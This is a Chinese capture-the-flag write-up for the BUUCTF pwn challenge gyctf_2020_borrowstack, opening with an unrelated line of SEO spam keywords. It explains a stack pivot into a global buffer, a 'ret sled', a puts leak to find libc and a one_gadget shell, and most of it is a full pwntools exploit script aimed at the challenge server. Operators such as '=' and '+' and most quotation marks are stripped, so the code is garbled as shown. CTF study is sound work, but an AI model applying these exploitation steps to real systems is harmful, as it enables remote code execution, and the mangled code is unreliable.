泉州网上办事大厅,北京网站优化校学费,无锡做网站优化哪家好,wordpress显示icp备案题目来源buuctf——gyctf_2020_borrowstack
参考链接https://www.shawroot.cc/2097.html
题目信息ubuntu16、64位
第一个read仅溢出一个机器字长#xff0c;需要栈迁移 解题步骤栈偏移到全局变量bank中#xff0c;ret2libcgadget
关键步骤
ret滑梯
第二个payload需要添…题目来源buuctf——gyctf_2020_borrowstack
参考链接https://www.shawroot.cc/2097.html
题目信息ubuntu16、64位
第一个read仅溢出一个机器字长需要栈迁移 解题步骤栈偏移到全局变量bank中ret2libcgadget
关键步骤
ret滑梯
第二个payload需要添加padding的原因是bank的起始位置距离got表太近了会报错原因可能是1有的got表项只读2程序有鉴别机制不允许溢出到got。 有了p64(ret_addr)*20只要保证这一段足够长p64(bss_addr)在其范围内就不需要计算p64(bss_addr)中的地址直接bss_addr就可以了。 因为ret汇编指令表示pop rip所以程序会自动执行栈中下一条地址的内容直到非ret指令。就像一个滑梯一样不管你从中途哪个地方加入都会滑到底。
payload ba*0x60 p64(bss_addr) p64(leave_ret)
sa(Tell me what you want,payload)
#传说中的ret滑梯
payload p64(ret_addr)*20 p64(pop_rdi_ret) p64(puts_got) p64(puts_plt) p64(second_read_addr)
cyclicgdb.attach脚本内动态调试
本来想使用system(/binsh)因此选择的也是第二个read处覆盖函数返回地址。先在脚本里使用cyclic配合gdbattach得到参数偏移数
puts_addr u64(r.recvuntil(b\x7f)[-6:].ljust(8,b\x00))
libc_base puts_addr - libc.sym[puts]
binsh_addr libc_base next(libc.search(b/bin/sh))
system_addr libc_base libc.sym[system]
one_gadgetlibc_base0x4526apayload cyclic(200)
db()
sd(payload)ti()
得到无法读取的内存地址cyclic的片段 所以ret_addr距离第二个read保存的参数的偏移为184 WP
# -*- coding: utf-8 -*-
from pwn import*
context.log_leveldebug
context.archamd64
context.os linuxpc ./gyctf_2020_borrowstackif __name__ __main__:local sys.argv[1]if local 1:r process(pc)elf ELF(pc)libc elf.libcelse:rremote(node4.buuoj.cn,29055)elf ELF(pc)libc elf.libcsa lambda s,n : r.sendafter(s,n)
sla lambda s,n : r.sendlineafter(s,n)
sl lambda s : r.sendline(s)
sd lambda s : r.send(s)
rc lambda n : r.recv(n)
ru lambda s : r.recvuntil(s)
ti lambda: r.interactive()
lg lambda s: log.info(\033[1;31;40m %s -- 0x%x \033[0m % (s, eval(s)))def db():gdb.attach(r)pause()def dbs(src):gdb.attach(r, src)bss_addr 0x601080
second_read_addr 0x400680
ret_addr 0x04004c9
leave_ret 0x400699
pop_rdi_ret 0x400703
puts_plt elf.plt[puts]
puts_got elf.got[puts]payload ba*0x60 p64(bss_addr) p64(leave_ret)
sa(Tell me what you want,payload)
#传说中的ret滑梯
payload p64(ret_addr)*20 p64(pop_rdi_ret) p64(puts_got) p64(puts_plt) p64(second_read_addr)
sla(stack now!,payload)
puts_addr u64(r.recvuntil(b\x7f)[-6:].ljust(8,b\x00))
libc_base puts_addr - libc.sym[puts]
binsh_addr libc_base next(libc.search(b/bin/sh))
system_addr libc_base libc.sym[system]
one_gadgetlibc_base0x4526a#system函数需要的栈空间很大因此第一个payload无法使用
#payload cyclic(184) p64(pop_rdi_ret) p64(binsh_addr) p64(system_addr)
payload cyclic(184) p64(one_gadget)
sd(payload)ti()